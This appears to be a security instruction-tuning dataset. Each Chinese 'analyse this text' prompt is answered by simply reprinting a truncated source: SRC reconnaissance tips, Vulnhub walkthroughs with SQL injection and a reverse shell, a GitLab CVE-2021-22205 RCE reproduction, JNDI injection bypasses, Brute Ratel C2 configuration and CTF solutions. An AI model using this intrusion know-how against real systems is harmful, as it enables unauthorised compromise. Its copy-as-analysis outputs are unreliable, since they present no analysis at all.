https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n国内SRC漏洞挖掘经验和技巧分享 ID: PwnDog\\硬糖_zzz 唐朝 | 成都体育学院体育新闻专业 前PKAV团队成员 研究方向: Web安全以及...... 关于我 1.SRC个人推荐 2.SRC的规则 3.漏洞挖掘中的个人经验和技巧分享 目录 同程 网易 360 唯品会 腾讯 阿里巴巴 京东 小米 陌陌 滴滴 百度 蚂蚁金服 SRC个人推荐 备注:排名不分先后只为排版好看 白帽子 1.合规手段 2.点到为止 3.漏洞保密 SRC的规则 信息收集 1.厂商域名 2.厂商IP段 3.厂商业务信息 域名收集 1. 基于SSL证书查询 2. 第三方网站接口查询 3. Github 4. DNS解析记录 5. 子域名枚举等等 域名收集 基于SSL证书查询 1.censys.io 2.crt.sh 第三方接口查询网站 1. riskiq 2. shodan 3. findsubdomains 4. censys.io 5. dnsdb.io 案例 案例 案例 案例 案例 案例 IP段收集 ipwhois.cnnic.net.cn IP段收集 IP段收集 ipwhois.cnnic.net.cn IP段收集 端口扫描 Python+Masscan+Nmap 端口扫描 遇到防火墙时 端口扫描 端口扫描 端口扫描 Nmap参数 -sV //识别服务 -sT //只需普通用户权限 -Pn //跳过主机发现过程 --version-all //全部报文测试 --open //只探测开放端口 字典的收集与使用优化 字典的获取 用之于民取之于民 字典获取 域名类字典 https://opendata.rapid7.com/sonar.rdns_v2/ https://opendata.rapid7.com/sonar.fdns_v2/ 300G 脏数据剔除 体力活 站点类字典 1.目录类 2.可执行脚本类 3.参数类 4.静态资源类(js) 字典获取 站点类字典 1000+ Code AND Regex! 字典获取 字典获取 字典获取 字典获取 案例 Uber 某站二次注入 JS泄露API+API爆破+参数爆破=二次注入 案例 案例 案例 案例 403 or 404 此地无银三百两! 案例 案例 案例 http://106.**.**.147/adver/landing.php?mac=1 字典的使用优化 量大 关键词入库 增加计数int字段 扫描器命中时增加计数 下次提取字典时降序提取 业务安全 业务是核心,但也有薄弱点 1.非普通用户拥有的权限如商家合作方 2.新上线业务 APP测试 SSL Pining 越狱ios禁止SSL Pinning抓App Store的包 ios: http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html 瘦蛟舞安卓证书锁定解除的工具 Android: https://github.com/WooyunDota/DroidSSLUnpinning END 谢谢大家", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\\\"******************************************************************* .\\\" .\\\" This file was generated with po4a. Translate the source file. .\\\" .\\\"******************************************************************* .TH SHA384SUM 1 2022年9月 \"GNU coreutils 9.1\" 用户命令 .SH 名称 sha384sum \\- 计算并校验 SHA384 信息摘要 .SH 概述 \\fBsha384sum\\fP [\\fI\\,选项\\/\\fP]... [\\fI\\,文件列表\\/\\fP]... .SH 描述 .\\\" Add any additional description here .PP 输出或检查 SHA384 (384位) 校验和 .PP 如果没有指定文件或者指定文件为\\-则从标准输入读取 .TP \\fB\\-b\\fP, \\fB\\-\\-binary\\fP 以二进制模式读入 .TP \\fB\\-c\\fP, \\fB\\-\\-check\\fP 从指定文件中读取校验和信息并对它们进行检查 .TP \\fB\\-\\-tag\\fP 创建一个 BSD 风格的校验和 .TP \\fB\\-t\\fP, \\fB\\-\\-text\\fP 以文本模式读入默认 .TP \\fB\\-z\\fP, \\fB\\-\\-zero\\fP 以 NUL 空字符而非换行符结束每一输出行同时禁用文件名转义 .SS 下面五个选项仅在验证校验和时有用 .TP \\fB\\-\\-ignore\\-missing\\fP 遇到缺失的文件时不报告错误保持静默 .TP \\fB\\-\\-quiet\\fP 不要为每个成功验证的文件显示成功信息 .TP \\fB\\-\\-status\\fP 不要输出任何信息由返回值判断成功与否 .TP \\fB\\-\\-strict\\fP 为没有正确格式化的校验和文字行给出非零返回值 .TP \\fB\\-w\\fP, \\fB\\-\\-warn\\fP 为没有正确格式化的校验和文字行给出警告信息 .TP \\fB\\-\\-help\\fP 显示此帮助信息并退出 .TP \\fB\\-\\-version\\fP 显示版本信息并退出 .PP 校验和按照 FIPS\\-180\\-2 描述的方式进行计算在校验过程中其输入内容应当为该程序先前的输出内容默认模式是输出一行文字包含校验和一个指示输入模式的字符'*' 指示二进制输入' ' 指示二进制特性不明显的文本输入以及每个文件的名称 .PP 注意GNU 系统上二进制模式和文本模式没有区别 .SH 作者 由 Ulrich Drepper, Scott Miller 和 David Madore 编写 .SH 报告错误 GNU coreutils 的在线帮助 .br 请向 报告翻译错误 .SH 版权 Copyright \\(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \\fBcksum\\fP(1) .PP .br 完整文档请见 .br 或者在本地使用 info \\(aq(coreutils) sha2 utilities\\(aq", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nznew === 将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 ## 补充说明 **znew命令** 用于将使用compress命令压缩的.Z压缩包重新转化为使用gzip命令压缩的.gz压缩包 ### 语法 ```shell znew(选项)(参数) ``` ### 选项 ```shell -f# 强制执行转换操作即是目标.gz已经存在 -t# 删除原文件前测试新文件 -v# 显示文件名和每个文件的压缩比 -9# 使用最高压缩率速度较慢 -P# 使用管道完成转换操作以降低磁盘空间使用 -K# 当.Z文件比.gz文件小时保留.Z文件 ``` ### 参数 文件指定compress指令压缩生成的.Z压缩包", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Sedna > https://download.vulnhub.com/hackfest2016/Sedna.ova 靶场IP`192.168.32.197` 扫描对外端口服务 ``` (rootkali)-[/tmp] # nmap -p 1-65535 -sV 192.168.32.197 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 03:56 EDT Nmap scan report for 192.168.32.197 Host is up (0.0017s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd (Ubuntu) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 48824/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:0E:11:4D (VMware) Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds ``` 访问80端口 ![image-20220902162451408](../../.gitbook/assets/image-20220902162451408.png) 爆破web目录 ``` (rootkali)-[/tmp] # dirb http://192.168.32.197 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Sep 2 04:25:23 2022 URL_BASE: http://192.168.32.197/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.197/ ---- ==> DIRECTORY: http://192.168.32.197/blocks/ ==> DIRECTORY: http://192.168.32.197/files/ + http://192.168.32.197/index.html (CODE:200|SIZE:101) ==> DIRECTORY: http://192.168.32.197/modules/ + http://192.168.32.197/robots.txt (CODE:200|SIZE:36) + http://192.168.32.197/server-status (CODE:403|SIZE:294) ==> DIRECTORY: http://192.168.32.197/system/ ==> DIRECTORY: http://192.168.32.197/themes/ ---- ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMetasploit vSploit Modules 1 Marcus J. Carey David bannedit Rude Will Vandevanter Outline Objective of vSploit Modules Metasploit Framework architecture What are Metasploit modules? vSploit modules vSploit and Intrusion Kill Chains vSploit and Intrusion Kill Chains Writing Metasploit Modules Live Demo 2 Metasploit Project founded in 2003 Open Source penetration testing platform based with over 1 million downloads in the past year Acquired by Rapid7 in 2009 HD Moore joined Rapid7 as Chief Security Office and Chief Metasploit overview HD Moore joined Rapid7 as Chief Security Office and Chief Architect of Metasploit Rapid7 remains committed to the Community Metasploit Framework is the foundation for the commercial editions Metasploit Express and Metasploit Pro 3 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 4 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 5 What are Metasploit Modules? More than just exploits Payloads the arbitrary code you hear about in advisories Encoders add entropy to payloads, remove bad characters NOP create sophisticated nopsleds Auxiliary Like an exploit module but without a payload Underappreciated 6 Which would you pick for a training drill? Live Ammo? Or Paint Balls? 7 = Live Exploits = vSploit Modules Introducing: vSploit Modules New spin on auxiliary modules Focus on attack response emulation Not intended for exploitation Continues with Metasploit roots as security testing and validation framework Allows organizations to understand their current security Allows organizations to understand their current security investment Stand-alone compatibility No exploitation used Possible to remove exploit modules if necessary in some environments 8 Evaluate de", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# GitLab 远程命令执行漏洞CVE-2021-22205 GitLab是一款Ruby开发的Git项目管理平台在11.9以后的GitLab中因为使用了图片处理工具ExifTool而受到漏洞[CVE-2021-22204](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响攻击者可以通过一个未授权的接口上传一张恶意构造的图片进而在GitLab服务器上执行任意命令 参考链接 - https://hackerone.com/reports/1154542 - https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/ - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml ## 漏洞环境 执行如下命令启动一个GitLab 13.10.1版本服务器 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:8080`即可查看到GitLab的登录页面 ## 漏洞复现 GitLab的/uploads/user接口可以上传图片且无需认证利用[poc.py](poc.py)脚本来测试这个漏洞 ``` python poc.py http://your-ip:8080 \"touch /tmp/success\" ``` ![](1.png) 进入容器内可见`touch /tmp/success`已成功执行 ![](2.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\njndi注入高版本绕过与反序列化 昨天群里聊到这了虽然都是炒冷饭但有些细节可能分析清楚点也有好处主要分析分三个部分 1jndi注入的原理 2jndi注入与反序列化的关系 3jndi注入与jdk版本的关系 jndi注入的原理 jndi是java用于访问目录和命名服务的 API使用jndi进行查询本来是一个正常的功能但由于实现时没 有考虑安全问题如果查询恶意对象就会导致被攻击但攻击的结果并不一定是rce jndi的查询大致可以分两步 1客户端请求一个命名服务并获取一个对象 2客户端解析这个对象 那么漏洞出现在哪步呢实际上是两步都有可能因为jndi支持RMILDAPCORBADNS四种协议 每种都对应不同的实现支持绑定的对象有序列化对象引用对象属性对象等所以攻击路径很多 漏洞也很多 在攻击中常用的有jndi+rmi和jndi+ldap实际上corba也可以用于攻击但基本能用corba打的都能用 rmi打并且流程很啰嗦所以这里就分析这jndi+rmi和jndi+ldap两种实现 jndi+rmi 关键代码在RegistryContext#lookup 可以看到第一步远程对象obj是通过原生rmi的lookup获取的了解rmi的就知道是通过反序列化获取 的实际上如果系统里有gadget这一步反序列化的时候就可以导致代码执行了 然后第二步在decodeObject里面对获取到的对象进行了解析 逻辑在RegistryContext#decodeObject里面 public Object lookup(Name name) throws NamingException { if (name.isEmpty()) { return (new RegistryContext(this)); } Remote obj; try { obj = registry.lookup(name.get(0)); } catch (NotBoundException e) { throw (new NameNotFoundException(name.get(0))); } catch (RemoteException e) { throw (NamingException)wrapRemoteException(e).fillInStackTrace(); } return (decodeObject(obj, name.getPrefix(1))); private Object decodeObject(Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() 注释里写的很明白如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载 任意远程类导致代码执行这个校验是在jdk8u121开启的并且是加在RegistryContext里面的也 就是只对了jndi的rmi实现作了限制所以后续才会有ldap的绕过 然后调用的是NamingManager.getObjectInstance这个函数就是前面说的所谓的解析远程对象的函 数 : (Object)r; /* * Classes may only be loaded from an arbitrary URL codebase when * the system property com.sun.jndi.rmi.object.trustURLCodebase * has been set to \"true\". */ // Use reference if possible Reference ref = null; if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable)(obj)).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException( \"The object factory is untrusted. Set the system property\" + \" 'com.sun.jndi.rmi.object.trustURLCodebase'", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# PWNOS2.0 下载地址https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z ## 实战演练 靶机的IP为静态地址10.10.10.100 ![](../../.gitbook/assets/1554693388_5caabd0c3e7d2.png) ![](../../.gitbook/assets/1554694670_5caac20e45fbe.png) ![](../../.gitbook/assets/1554694907_5caac2fbf22db.png) ![](../../.gitbook/assets/1554695434_5caac50a20765.png) 这里面有注入漏洞sqlmap跑一下 ![](../../.gitbook/assets/1554695515_5caac55b07d54.png) 注入漏洞 ![](../../.gitbook/assets/1554695657_5caac5e91b7d2.png) 写入反弹shell ![](../../.gitbook/assets/1554696629_5caac9b5af8c1.png) ![](../../.gitbook/assets/1554696686_5caac9ee3d127.png) nc监听 ![](../../.gitbook/assets/1554696889_5caacab92274c.png) 查找密码找到了这个密码不能登录 ![](../../.gitbook/assets/1554697172_5caacbd461971.png) 找到了这个密码可以登录 ![](../../.gitbook/assets/1554697328_5caacc70deaa2.png) 另外一种思路 ![](../../.gitbook/assets/1554702181_5caadf6522235.png) blog系统版本 ![](../../.gitbook/assets/1554702244_5caadfa4e66f2.png) 查找漏洞的版本 ![](../../.gitbook/assets/1554702441_5caae0696e3d7.png) 使用exp ![](../../.gitbook/assets/1554702616_5caae11847de4.png) 不知道为什么没有生成cookie就这样把", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBRC4 - Brute Ratel Customized Command and Control Center Ratel War Room Ratel Server - TeamServer API Ratel War Room is an API driven server which works over HTTP and WebSocket Start Mode Ratel Mode Ratel mode is the core server mode which interacts with badgers, starts listener and is your main C2 communication channel. Boomerang Mode In Boomerang mode, the server acts as a standalone socks and HTTPS proxy server. APIs /access /status /task Brute Commander Warmongers - Users Add Warmonger C4 profiles { \"admin_list\": { \"admin\": \"admin@123\" }, \"user_list\": { \"brute\": \"password@123\", \"ratel\": \"password@123\" } } Delete Warmonger Reset Warmonger Warmonger List Covert Communication C4 Profilers export import C4 Profiler - Listners Add Listeners Create Listener C4 Profiler->Add Listener C2 Authentication Common Authentication for all badgers OTA or One Time Authentication View Authentication Change Authentication Stop Listener Hosted Files Add New URI Listener Actions->Add New URI Host Files Listener Actions->Host File View Hosted C4 Profiler->Hosted Files Root Page Manager C4 Profiler->Change Root Page C4 Profiler - Payload Payload Profiles via Brute Commander HTTP SMB TCP Payload Profiles via C4 Profilers { \"payload_config\": { \"main_http\": { \"c2_auth\": \"abcd@123\", \"c2_uri\": [ \"content.php\", \"admin.php\" ], \"extra_headers\": { \"Cache-Control\": \"no-cache\", \"Connection\": \"close\", \"Cookie\": \"AUTH-1babbba6265ca2eba78b65bda5e34545c32a95b2; Version=default; id=a3fWa; Expires=Thu 31 Oct 2021 07:28:00 GMT;\", \"Pragma\": \"no-cache\", \"Referer\": \"https://mail.microsoft.com\", \"x-pm-apiversion\": \"3\", \"x-pm-appversion\": \"Web_3.16.33\", Badger Management - Beacon Management Badger Console double clicking a badger or right clicking and selecting the Load button Process Manager \"x-pm-uid\": \"d0e1f5b0dc08202064de25a\", \"Host\": \"test.azureedge.net\" }, \"host\": \"10.10.10.1\", \"port\": \"443\", \"ssl\": true, \"type\": \"HTTP\", \"useragent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 F", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: dex2jar categories: Hardware Hacking tags: [dex2jar,Hardware Hacking,kali linux] date: 2019-06-25 11:19:00 --- 0x00 dex2jar介绍 ------------- dex2jar包含以下这些组件: - dex读取器用来读取Dalvik可执行文件(.dex/.odex)它有与ASM相似的轻量级API - dex翻译器用来进行转换它以dex-ir格式读入dex指令经过一些调整转换为ASM格式 - dex-ir在翻译器中使用用来表示dex指令 - dex工具用来处理.class文件例如修改apk文件反混淆jar文件等 - d2j-smali [待发布]反汇编dex文件将之还原为smali文件或从smali文件编译为dex文件 与smali/baksmali的执行方式不同两者语法相同但是本工具支持在desc类型中的转义Lcom/dex2jar\\t\\u1234; - dex写入器[待发布]以和dex读取器相同的方式写入数据 原项目地址: https://github.com/pxb1988/dex2jar/ dex2jar主页 | [Kali上的dex2jar项目](http://git.kali.org/gitweb/?p=packages/dex2jar.git;a=summary) - 作者: Panxiaobo - 证书: Apache-2.0 0x01 包含的工具 ---------------- ##### d2j-jar2dex 调用dx将jar转换为dex ``` root@kali:~# d2j-jar2dex -h d2j-jar2dex -- 调用dx将jar转换为dex 用法: d2j-jar2dex [参数] <目录> 参数: -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output 输出.dex文件默认路径是$current_dir/[jar-name]-jar2dex.dex 版本: 0.0.9.15 ``` ##### d2j-jar-remap重命名jar文件中的包(package)/类(class)/方法(method)/域(field) ``` root@kali:~# d2j-jar-remap -h d2j-jar-remap -- 重命名jar文件中的包(package)/类(class)/方法(method)/域(field) 用法: d2j-jar-remap [参数] 参数: -c,--config 重构用到的的配置文件此项必须指定 -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output 输出.jar文件默认路径是$current_dir/[jar-name]-remap.jar 版本: 0.0.9.15 在线帮助文档: https://code.google.com/p/dex2jar/wiki/DeObfuscateJarWithDexTool ``` ##### d2j-dex2jar将dex转换为jar ``` root@kali:~# d2j-dex2jar -h d2j-dex2jar -- 将dex转换为jar 用法: d2j-dex2jar [参数] <0号文件> [其他文件] options: -d,--debug-info 翻译调试信息 -e,--exception-file 具体的异常信息文件默认是$current_dir/[file-name]-error.zip -f,--force 强制覆写 -h,--help 显示此帮助信息 -n,--not-handle-exception 不捕获dex2jar抛出的任何异常 -o,--output 输出.jar文件默认是$current_dir/[file-name]-dex2jar.jar -os,--optmize-synchronized 同步调整 -p,--print-ir 将ir输出到Syste.out -r,--reuse-reg 生成java的.class文件时循环使用注册表 -s 与--topological-sort/-ts相同 -ts,--topological-sort 以拓扑逻辑整理块能够生成更多可读代码 -v,--verbose 显示进度 版本: 读取器-1.15, 翻译器-0.0.9.15, ir-1.12 ``` ##### dex2jar此工具已被弃用若", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBug Hunters dump user data. Can they keep it? Well theyre keeping it anyway. Who? Data Protection Officer & Privacy Attorney - a lawyer, but not your lawyer Co-Founder of Truffle Security, TruffleHog author, bug hunter, security researcher, etc Whitney Merrill @wbm312 Dylan Ayrey @InsecureNature Do bug hunters touch your data? Job done. Crap. Yes. Not yet Theres data everywhere Data flow diagram Employee laptop XSSHunter* Gmail My Hard drive Time machine Bug tracker *and/or other similarly situated third-party tool XSSHunter isnt clear The bug platform itself This incident isnt isolated All the bug hunters I asked Uh yeah Never hurts to ask Dang. Holy crap that worked. Your PoC exfiltrated email addresses but it seems other PII could have been hypothetically at risk. The user base was relatively small (a few thousand) as this was an experimental project.\" Be sure that any PII that was in your PoC should be obfuscated. We are excited that we can be included in your talk and help give back to the security community.\" Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. Re: notification. We are following our usual privacy incident process, that includes notification of customers in case it's necessary. Not sure if it was necessary in this case, our team doesn't see that part of the process.\" Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. Wait hold up. Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. What about other researchers? What about other researchers? https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/ Making it rain Shubs Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to his knowledge. What about other researchers? https://samcurry.net/hacking-starbucks/ I tried my best ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPresentation Slides with Notes: Predicting Susceptibility to Social Bots on Twitter by Chris Sumner & Dr. Randall Wald Presented at: Black Hat Briefings 2013 (Las Vegas, NV, USA) & DEF CON 21 (Las Vegas, NV, USA) Slide 1 Predicting Susceptibility to Social Bots on Twitter Chris Sumner & Dr. Randall Wald chris@onlineprivacyfoundation.org & rwald1@fau.edu Welcome to Predicting Susceptibility to Social Bots on Twitter. Im Chris Sumner, representing the Online Privacy Foundation and Im joined by Dr. Randall Wald from Florida Atlantic University. The Online Privacy Foundation is a non-profit, charitable organisation, currently focused on understanding what people might be giving away via social networks without their knowledge. https://www.onlineprivacyfoundation.org/ Before we begin, I want to make sure people have the chance to decide whether this talk is really for them Note: Majority of images via Shutterstock.com Slide 2 Web Ecology Project Tim Hwang Astroturfing Swiftboating Yazan Boshmaf If youre familiar with these names/terms, you may find the first half of this presentation a little on the light/introductory side. Slide 3 Contains some maths We also talk about Statistics and Machine Learning (sometimes referred to as Predictive Analytics). Well keep this to a minimum, but ensure the slide notes contain more detail. Well also include some hidden slides in the hand-outs which provide more details. So on to the talk Slide 4 Its only fitting, since were in Las Vegas, that we talk about odds. Slide 5 Goal = Improve the odds The goal of our work was to see if we could improve the odds of finding users more likely to respond to a relatively crude twitter bot While it would be interesting, we never expected to be able to predict susceptibility with laser like accuracy. Predictions need not be accurate to score big value (page 10 - Book. Predictive analytics The power to predict who will click, buy, lie or die Eric Siegel) Ref: Siegel, E. 2013. Predictive analytics. H", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Baby DLP (crypto) ## ENG [PL](#pl-version) In the task we get [server code](server.py) to analyse. In short we can send to the server a number `s` and server responds with `c = pow(2, flag s, p)`. Our goal is, of course, to recover the flag. As the taks name suggests, if we could calculate discrete logarithm, we could easily get back the flag. But it's not the only way. Let's look closely what the server does - it XORs the exponent with a value we provide! What would happen if we flip a single bit in the exponent? - If we change `k-th` bit from 0 to 1 then we simply add `2**k` to the exponent. It means that `c' = pow(2, flag + 2**k, p) = c * pow(2, 2**k, p) mod p` - Otherwise we must have changed `k-th` bit from 1 to 0. Flipping a single bit is trivial, we simply need to send as input a number which has only a single high bit as `k-th` position, and this will flip the `k-th` bit of the `flag` on the server. So the solution is: 1. Send `0` as input to recover original `c` value from the server 2. Send `1`,`2`,`4`,...,`2**k` as input and check if `result == c * pow(2, 2**k, p) % p` and if it is then `k-th` bit was originally `0`, otherwise it was `1` ```python from Crypto.Util.number import size, long_to_bytes from crypto_commons.netcat.netcat_commons import nc, send def main(): url = 'ppc2.chal.ctf.westerns.tokyo' port = 28459 s = nc(url, port) p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201 g = 2 send(s, '0') reference = int(s.recv(99999)[2:], 16) # original ciphertext payload = 1L bits = [] for i in range(size(p)): print('testing ', i) send(s, hex(payload)[2:-1]) result = int(s.recv(99999)[2:], 16) if result == (reference * pow(g, payload, p)) % p: bits.append('0') else: bits.append('1') payload <<= 1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nuncompress === 用来解压.Z文件 ## 补充说明 **uncompress命令** 用来解压缩由compress命令压缩后产生的.Z压缩包 ### 语法 ```shell uncompress(选项)(参数) ``` ### 选项 ```shell -f不提示用户强制覆盖掉目标文件 -c将结果送到标准输出无文件被改变 -r递归的操作方式 ``` ### 参数 文件指定要压缩的.Z压缩包 ### 实例 先创建一个.Z压缩文件 ```shell compress FileName ``` 解压 ```shell uncompress FileName.Z ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 杂记 企业安全建设领域内主要和管理运营相关的一些杂记 - 多刷存在感有时甚至是一些宣传工作例如做成日常安全教育的漫画贴在公司的电梯间因为做信息安全经常遇到的一个问题就是做得好没有存在感出了事情就背锅在这种大环境下安全负责人和团队其实要更多地在公司和全员面前刷存在感让大家都知道我们在做事情并且是在做有意义的事情让大家明白我们在做什么事情也会更加配合我们的工作这样就慢慢会成为一个良心循环当然其中会有各种细节需要考虑", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nwww.senseofsecurity.com.au Sense of Security 2013 Page # 13-Sep-13 Compliance, Protection & Business Confidence Sense of Security Pty Ltd ! Sydney Level 8, 66 King Street Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Drv Docklands VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au ABN: 14 098 237 908 VoIP Wars: Attack of the Cisco Phones www.senseofsecurity.com.au Sense of Security 2014 Page of 58 Aug-14 Speaker Fatih Ozavci Senior Security Consultant Interests VoIP Mobile Applications Network Infrastructure ! Author of Viproy VoIP Penetration Testing Kit Public Speaker Defcon, BlackHat Arsenal, AusCert, Ruxcon 2 www.senseofsecurity.com.au Sense of Security 2014 Page of 58 Aug-14 Viproy VoIP Toolkit Viproy is a Vulcan-ish Word that means \"Call\" Viproy VoIP Penetration and Exploitation Kit Testing modules for Metasploit, MSF license Old techniques, new approach SIP library for new module development Custom header support, authentication support Trust analyser, SIP proxy bounce, MITM proxy, Skinny, VOSS Modules Options, Register, Invite, Message Brute-forcers, Enumerator SIP trust analyser,SIP proxy, Fake service Skinny analysers, VOSS exploits 3 www.senseofsecurity.com.au Sense of Security 2014 Page of 58 Aug-14 Agenda 1. Hosted VoIP Services and Cisco 101 2. Network Infrastructure 3. Cisco Unified Communications Manager 4. IP Phone and Service Management 5. Attacking Desktop and Mobile Clients 4 www.senseofsecurity.com.au Sense of Security 2014 Page of 58 Aug-14 Hosted VoIP services 5 www.senseofsecurity.com.au Sense of Security 2014 Page of 58 Aug-14 Cisco VoIP environment Web based services IP Phone services (Cisco, VOSS) Tenant client services (VOSS Selfcare) Tenant* management services (Cisco HCS) VoIP services Skinny (SCCP) services for Cisco phones SIP services for other tenant phones RTP services for media streaming PBX/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# F#ck (re 50) ###ENG [PL](#pl-version) In the task we get a [binary](FlagGenerator.exe) which is written in F#. Like every other .NET binary it can be nicely decompiled by ILSpy. With this we didn't even need to reverse the algorithm at all. We simply modified the decompiled code we got so that we could compile it again: ```csharp using System; using System.Globalization; class X { public string str; public int[] ccIndices; internal X(string str, int[] ccIndices) { this.str = str; this.ccIndices = ccIndices; } public string Invoke(int i) { if (i == this.ccIndices.Length - 1) { return this.str.Substring(i); } int num = this.ccIndices[i]; return this.str.Substring(num, this.ccIndices[i + 1] - num); } } public class Test { public static string get_flag(string str) { int[] array = StringInfo.ParseCombiningCharacters(str); int num = array.Length; X fSharpFunc = new X(str, array); string[] array2 = new string[num]; int num2 = 0; int num3 = num - 1; if (num3 >= num2) { do { array2[num2] = fSharpFunc.Invoke(num2); num2++; } while (num2 != num3 + 1); } string[] array3 = array2; Array.Reverse(array3); return string.Join(\"\", array3); } public static void Main() { Console.WriteLine(get_flag(\"t#hs_siht_kc#f\")); } } ``` And we got `EKO{f#ck_this_sh#t}`. ###PL version W zadaniu dostajemy [program](FlagGenerator.exe) napisany w F#. Jak każda inna binarka .NET można go ładnie zdekompilować za pomocą ILSpy. Uzyskujemy w ten sposób dość ładny kod i nie było potrzeby nawet reversować algorytmu. Zmodyfikowaliśmy uzyskany kod tak, żeby dało się go skompilować i uruchomić: ```csharp using System; using System.Globalization; class X { public string str; public int[] ccIndices; internal X(string str, int[] ccIndices) { this.str = str; this.ccIndices = ccIndices; } public string Invoke(int i) { if (i == this.ccIndices.Length - 1) { return this.str.Substring(i); } int num = this.ccIndices[i]; return this.str.Substring(num, this.ccIndices[i + 1] - num); } } public class Test { public static s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON 19 // Adam Baldwin Pillaging DVCS Repos ...for fun and profit $ whoami Pillaging DVCS Repos // 